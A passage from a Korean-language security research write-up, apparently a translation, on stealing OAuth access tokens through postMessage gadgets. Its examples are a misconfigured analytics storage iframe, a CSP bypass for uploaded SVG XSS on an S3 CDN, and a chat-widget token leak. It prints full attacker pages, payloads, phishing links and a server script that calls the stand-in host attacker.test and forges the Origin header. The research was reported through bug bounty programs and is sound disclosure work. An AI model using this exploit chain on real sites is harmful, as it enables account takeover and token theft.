    syncListeners.push({source: e.source, origin: e.origin});
  } else {
    ...
  }
}

window.addEventListener('storage', function(e) {
  for (var i = 0; i < syncListeners.length; i++) {
    syncListeners[i].source.postMessage(
      JSON.stringify({type: 'sync', key: e.key, value: e.newValue}),
      syncListeners[i].origin
    );
  }
});

 

그리고 allowList에 등록된 유효한 origin을 가진 경우, 공격자는 sync 요청을 보낼 수 있으며, 그 결과로 해당 window의 localStorage에 발생한 모든 변경 사항을 postMessage를 통해 실시간으로 수신할 수 있었습니다. OAuth-dance의 non-happy path에 이 storage가 로드되는 웹사이트에서는, allowList에 허용된 origin이 전혀 정의되어 있지 않았습니다. 이로 인해, 해당 iframe의 부모 창이라면 어떤 origin이든지 postMessage-listener와 통신할 수 있는 상태였습니다. 이러한 접근 방식은 Gadget #2와 매우 유사한 방식으로 활용할 수 있었습니다. 저는 다음과 같은 방법으로 공격을 구성하였습니다.


1. storage 컨테이너의 iframe을 포함하는 악성 페이지를 생성하고, iframe이 로드되었을 때 스크립트를 실행할 수 있도록 onload 이벤트를 연결하였습니다.

<div id="leak">
  <iframe
    id="i" name="i"
    src="https://cdn.customer12345.analytics.example.com/storage.html"
    onload="run()"
  ></iframe>
</div>


2. 이 악성 페이지는 iframe의 부모이므로, sync 메시지를 전송하여 storage의 변경 사항을 실시간으로 전달받을 수 있게 합니다. 악성 페이지는 다음과 같이 postMessage를 전송하고, storage 변경 이벤트를 수신합니다:

<script>
function run() {
  i.postMessage({type: 'sync'}, '*');
}
window.addEventListener('message', function (e) {
  if (e.data && e.data.type === 'sync') {
    document.getElementById('leak').innerText =
      'We stole the token: ' + JSON.stringify(e.data);
  }
});
</script>


3. 악성 페이지는 피해자가 클릭하도록 다음과 같은 링크도 포함합니다:

<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
   target="_blank">
   Click here to hijack token
</a>

 

 

4. 피해자가 링크를 클릭하면 OAuth-dance가 진행되며, 최종적으로는 tracking-script와 storage-iframe이 로드되는 non-happy path에 도달하게 됩니다. 이때 storage iframe은 last-url 키에 현재 URL을 저장하게 되며, 동시에 localStorage가 업데이트되었기 때문에, 악성 페이지의 iframe에서는 window.storage 이벤트가 발생하게 됩니다. 그 결과, storage의 변경 사항을 실시간으로 수신하도록 설정된 악성 페이지는, 피해자의 현재 URL이 담긴 postMessage를 수신하게 됩니다.

 

Gadget 3 : 예시 2, CDN 내 고객 혼동(Customer Mix-up)을 이용한 DIY storage-SVG (origin 검증 없음)
해당 analytics 서비스 자체가 버그 바운티 프로그램을 운영하고 있었기 때문에, 저는 또한 정상적으로 allowList가 설정된 웹사이트들에 대해서도 URL을 유출할 수 있는 방법이 있는지 확인해 보고자 하였습니다. 우선 cdn.analytics.example.com 도메인에서 고객 식별자(customer-part)가 없는 경로를 검색하기 시작하였습니다. 그러던 중, 이 CDN에는 서비스 고객들이 업로드한 이미지들이 존재한다는 사실을 발견하였습니다.

https://cdn.analytics.example.com/img/customer42326/event-image.png 
https://cdn.analytics.example.com/img/customer21131/test.png


그리고 이 CDN에서 Content-Type: image/svg+xml로 인라인 제공되는 SVG 파일들도 있다는 점에 주목하게 되었습니다.

https://cdn.analytics.example.com/img/customer54353/icon-register.svg


저는 이 서비스를 체험(trial) 사용자로 등록하고, 직접 이미지를 업로드해보았으며, 그 결과 업로드한 파일이 CDN에 다음과 같이 노출되었습니다:

https://cdn.analytics.example.com/img/customer94342/tiger.svg


흥미로운 점은 다음과 같습니다. CDN의 고객 전용 서브도메인(cdn.customer12345.analytics.example.com)을 사용하더라도,
다른 고객(customer94342)의 이미지 파일이 여전히 정상적으로 제공되었다는 점입니다. 즉, 아래와 같은 URL도 동작했습니다.

https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg

이는 곧 고객 ID가 94342인 사용자가 업로드한 SVG 파일을, 고객 ID 12345의 storage 컨텍스트 내에서 렌더링할 수 있다는 의미였습니다. 저는 여기에 간단한 XSS 페이로드를 포함한 SVG 파일을 업로드하였습니다.

https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg


파일의 내용은 다음과 같습니다.

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns_xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
  <script xlink:href="data:,alert(document.domain)"></script>
</svg>

좋지 않았습니다. CDN은 img/ 경로 아래의 모든 콘텐츠에 Content-Security-Policy: default-src 'self' 헤더를 추가하고 있었기 때문입니다. 이로 인해 외부 스크립트의 실행이 차단되며, XSS 페이로드는 더 이상 동작하지 않게 됩니다. 또한, 서버 응답 헤더에 Server 정보가 포함되어 있었고, 이를 통해 콘텐츠가 Amazon S3 버킷에 업로드되었음이 노출되었습니다.

S3에서 흥미로운 점 중 하나는, 디렉터리가 실제 디렉터리가 아니라는 점입니다. S3에서는 경로(path)의 앞부분을 단순히 "prefix"라고 부르며, 실제로는 객체 키(key)의 일부로 취급됩니다. 이로 인해, 슬래시(/)를 URL 인코딩하더라도 S3는 이를 문제 없이 처리하며,
모든 슬래시를 %2F로 인코딩한 URL을 사용해도 콘텐츠가 정상적으로 제공됩니다. 예를 들어, img/를 img%2f로 바꾼 URL로 접근해도 이미지가 정상적으로 로드되었습니다. 그러나 이 경우, CDN이 추가했던 Content-Security-Policy 헤더가 제거되었고, 그 결과 XSS 페이로드가 실행되게 되었습니다.

이후 저는, 기존의 storage.html과 동일한 동작을 수행하는 postMessage 리스너와 storage-handler를 포함하면서도, allowList가 비어 있는 SVG 파일을 직접 업로드할 수 있었습니다. 이 방법을 통해, 정상적으로 allowList가 정의되어 있는 웹사이트들에 대해서도
동일한 방식의 공격을 수행할 수 있게 되었습니다. 업로드한 SVG 파일의 내용은 다음과 같았습니다.

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns_xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
  <script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>

 

이 base64로 인코딩된 스크립트는 기존 storage.html과 유사한 로직을 포함하고 있으며, 외부 origin 검증 없이 postMessage를 수신할 수 있도록 구성되어 있습니다. 이후 공격 흐름은 예시 1(Gadget 3, example 1)과 동일한 방식으로 전개할 수 있었습니다. 단, 이번에는 storage.html을 iframe으로 삽입하는 대신, 슬래시(/)가 URL-인코딩된 SVG 파일을 iframe으로 삽입하였습니다.

<div id="leak">
  <iframe
    id="i" name="i"
    src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
    onload="run()">
  </iframe>
</div>


이 방식은 웹사이트 측에서 직접 수정하거나 차단할 수 있는 구조가 아니었기 때문에, 저는 이 취약점에 대해 해당 CDN을 운영하는 analytics 제공업체에 취약점 리포트를 제출하였습니다.

서드파티(제3자) 서비스에서 발생하는 잘못된 설정(misconfiguration) 취약점을 살펴본 전체 목적은, 토큰 유출을 달성할 수 있는 방법이 여러 가지 존재함을 확인하기 위함이었습니다. 그리고 해당 서드파티가 버그 바운티 프로그램을 운영하고 있었기 때문에, 이러한 접근은 같은 유형의 취약점에 대한 또 다른 제보 대상이 될 수 있었습니다. 단지 이번에는 영향 범위가 analytics 서비스를 사용하는 모든 고객에게 미치는 것이라는 차이점이 있었습니다.
이 사례에서, 서드파티 서비스를 이용하는 고객 측에서는 도구를 올바르게 설정하여 공격자에게 민감한 데이터를 유출하지 않도록 방지할 수 있는 권한과 수단을 가지고 있었습니다. 그러나 그럼에도 불구하고, 민감한 데이터 자체는 여전히 서드파티에게 전달되고 있었기 때문에, 저는 이 도구의 정상적인 구성마저도 우회하여 데이터를 유출할 수 있는 방법이 존재하는지를 살펴보는 것이 매우 흥미로운 시도라고 판단하였습니다.

 

Gadget 3 : 예시 3, Chat-widget API
마지막 예시는 웹사이트의 모든 페이지, 심지어 오류 페이지(error pages)에서도 항상 표시되는 채팅 위젯(chat-widget)을 기반으로 합니다. 이 채팅 위젯에는 여러 개의 postMessage 리스너가 존재하였고, 그중 하나는 적절한 origin 검증 없이 채팅 팝업을 여는 기능만을 허용하고 있었습니다.
또 다른 리스너는 엄격한 origin 검증을 수행하였으며, 이는 오직 chat-widget 도메인으로부터의 초기화 호출(init)과 현재 사용자에게 발급된 chat-api-token을 수신할 수 있도록 설정되어 있었습니다.

<iframe src="https://chat-widget.example.com/chat"></iframe>

<script>
window.addEventListener('message', function(e) {
  if (e.data.type === 'launch-chat') {
    openChat();
  }
});

function openChat() {
  ...
}

var chatApiToken;

window.addEventListener('message', function(e) {
  if (e.origin === 'https://chat-widget.example.com') {
    if (e.data.type === 'chat-widget') {
      if (e.data.key === 'api-token') {
        chatApiToken = e.data.value;
      }
      if (e.data.key === 'init') {
        chatIsLoaded();
      }
    }
  }
});

function chatIsLoaded() {
  ...
}
</script>

 

 

채팅 iframe이 로드될 때 :


1. chat-widget의 localStorage에 chat-api-token이 존재하는 경우, 해당 토큰은 postMessage를 통해 부모 창(parent window)으로 전송됩니다. 만약 토큰이 존재하지 않는다면, 아무것도 전송되지 않습니다.

2. iframe이 로딩이 완료되면, 다음과 같은 초기화 메시지를 부모 창으로 전송합니다:

{ "type": "chat-widget", "key": "init" }


메인 창에서 사용자가 채팅 아이콘을 클릭하면 :

 

1. 만약 아직 chat-api-token이 전달되지 않은 상태라면, chat-widget은 새로운 토큰을 생성하여 자신의 origin에 해당하는 localStorage에 저장한 뒤, 이를 postMessage로 부모 창에 전달합니다.

2. 부모 창은 전달받은 chat-api-token을 이용하여 chat-service로 API 요청을 보냅니다. 이 API 엔드포인트는 CORS 제한이 적용되어 있으며, 서비스에 사전 등록된 특정 웹사이트(origin)에서만 요청이 허용됩니다. 즉, 요청 시 올바른 Origin 헤더와 chat-api-token을 함께 포함해야 요청이 허용됩니다.

3. 이 API 요청에는 현재 페이지의 location.href가 포함되며, 이는 해당 사용자의 “현재 페이지”로 등록됩니다. 서버의 응답에는 다음과 같은 형태의 데이터가 포함되며, 이를 통해 웹소켓(WebSocket)을 통해 채팅 세션을 시작할 수 있습니다:

{
  "api_data": {
    "current_page": "https://example.com/#access_token=test",
    "socket_key": "xxxyyyzzz",
    ...
  }
}

 

이 예시에서 저는 chat-api-token은 항상 chat-widget iframe의 부모에게 postMessage로 전달된다는 점을 확인하였습니다. 그리고 해당 token을 탈취할 수만 있다면, 서버 측 요청(server-side request)으로 해당 token을 사용하여 API에 접근할 수 있고, Origin 헤더는 브라우저에서만 CORS 제한에 영향을 주므로, 임의의 Origin 값을 추가한 채 API 요청을 우회할 수 있다는 사실을 깨달았습니다. 이를 통해 다음과 같은 공격 체인을 구성할 수 있었습니다.

1. chat-widget을 iframe으로 포함한 악성 페이지를 생성하였습니다. postMessage 리스너를 등록하여 chat-api-token 수신을 대기하였으며, 만약 2초 이내에 token이 도착하지 않으면 iframe을 새로고침하도록 구성하였습니다. 이 조치는 이전에 채팅을 시작해본 적이 없는 피해자도 공격 대상이 될 수 있도록 하기 위한 것입니다. 채팅을 원격으로 강제로 시작하려면 먼저 chat-api-token을 확보해야, 이후 서버 측에서 API polling을 시작할 수 있기 때문입니다.

<div id="leak">
  <iframe id="i" name="i" src="https://chat-widget.example.com/chat" 
  	onload="reloadToCheck()">
  </iframe>
</div>

<script>
var gotToken = false;

function reloadToCheck() {
  if (gotToken) return;
  setTimeout(function() {
    document.getElementById('i').src = 'https://chat-widget.example.com/chat?' 
    + Math.random();
  }, 2000);
}

window.onmessage = function(e) {
  if (e.data.key === 'api-token') {
    gotToken = true;
    lookInApi(e.data.value);  // 서버 측 API 호출 함수
  }
};

launchChatWindowByPostMessage();  // 원격 채팅 팝업 시작
</script>


2. 피해자가 클릭하도록 유도하는 링크를 악성 페이지에 삽입하였습니다. 이 링크는 OAuth 인증 흐름을 시작하며, 최종적으로는 chat-widget이 로드된 페이지에 도달하게 됩니다. 이때 URL에는 access_token과 같은 민감한 정보가 포함되어 있을 수 있습니다.

<a href="#" onclick="b = window.open(
    'https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">
    Click here to hijack token
</a>


3. launchChatWindowByPostMessage() 함수는 일정 간격(500ms)으로 피해자 창에 launch-chat 메시지를 보내, chat-widget을 강제로 열게 만듭니다.

function launchChatWindowByPostMessage() {
  var launch = setInterval(function() {
    if (b) {
      b.postMessage({type: 'launch-chat'}, '*');
    }
  }, 500);
}

 

4. 피해자가 링크를 클릭해 에러 페이지에 도달한 후 피해자가 링크를 클릭하고 OAuth-dance를 거친 뒤, access_token이 포함된 URL의 에러 페이지에 도달하면, chat-widget이 자동으로 실행되고 새로운 chat-api-token이 생성됩니다. 악성 페이지의 iframe에서는 chat-widget이 postMessage로 이 token을 전달하면 이를 수신하고, 해당 token을 이용해 피해자의 현재 URL을 조회하기 위해 Chat API를 polling하기 시작합니다.

function lookInApi(token) {
  var look = setInterval(function() {
    fetch('https://fetch-server-side.attacker.test/?token=' + token)
      .then(e => e.json())
      .then(e => {
        if (e &&
            e.api_data &&
            e.api_data.current_url &&
            e.api_data.current_url.indexOf('access_token') !== -1) {
          var payload = e.api_data.current_url;
          document.getElementById('leak').innerHTML =
            'Attacker now has the token: ' + payload;
          clearInterval(look);
        }
      });
  }, 2000);
}


5. https://fetch-server-side.attacker.test/?token=xxx에 대한 요청은 공격자의 서버에서 Chat API로 서버 측 요청을 수행하도록 구성되어 있습니다. 이때 요청 헤더에 합법적인 Origin 값을 인위적으로 추가하여 CORS 검증을 통과하게 만듭니다.

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
});

async function getDataFromChatApi(token) {
  return await fetch('https://chat-widget.example.com/api', {
    headers: {
      Origin: 'https://example.com', // 합법적인 웹사이트처럼 위장
      'Chat-Api-Token': token         // 탈취한 토큰
    }
  });
}

function handleRequest(request) {
  const token = request.url.match('token=([^&#]+)')[1] || null;
  return token ? getDataFromChatApi(token) : null;
}


6. 피해자가 OAuth 로그인 과정을 마치고 에러 페이지에 도달하면, chat-widget이 로딩되며 현재 페이지의 URL이 자동으로 등록됩니다. 이 URL에는 #access_token=...이 포함되어 있으며, 공격자가 polling하고 있던 서버 측 API 요청을 통해 해당 URL을 포함한 응답이 공격자에게 전달됩니다. 결과적으로, 공격자는 피해자의 access token을 성공적으로 탈취하게 됩니다.

 

(이하 생략)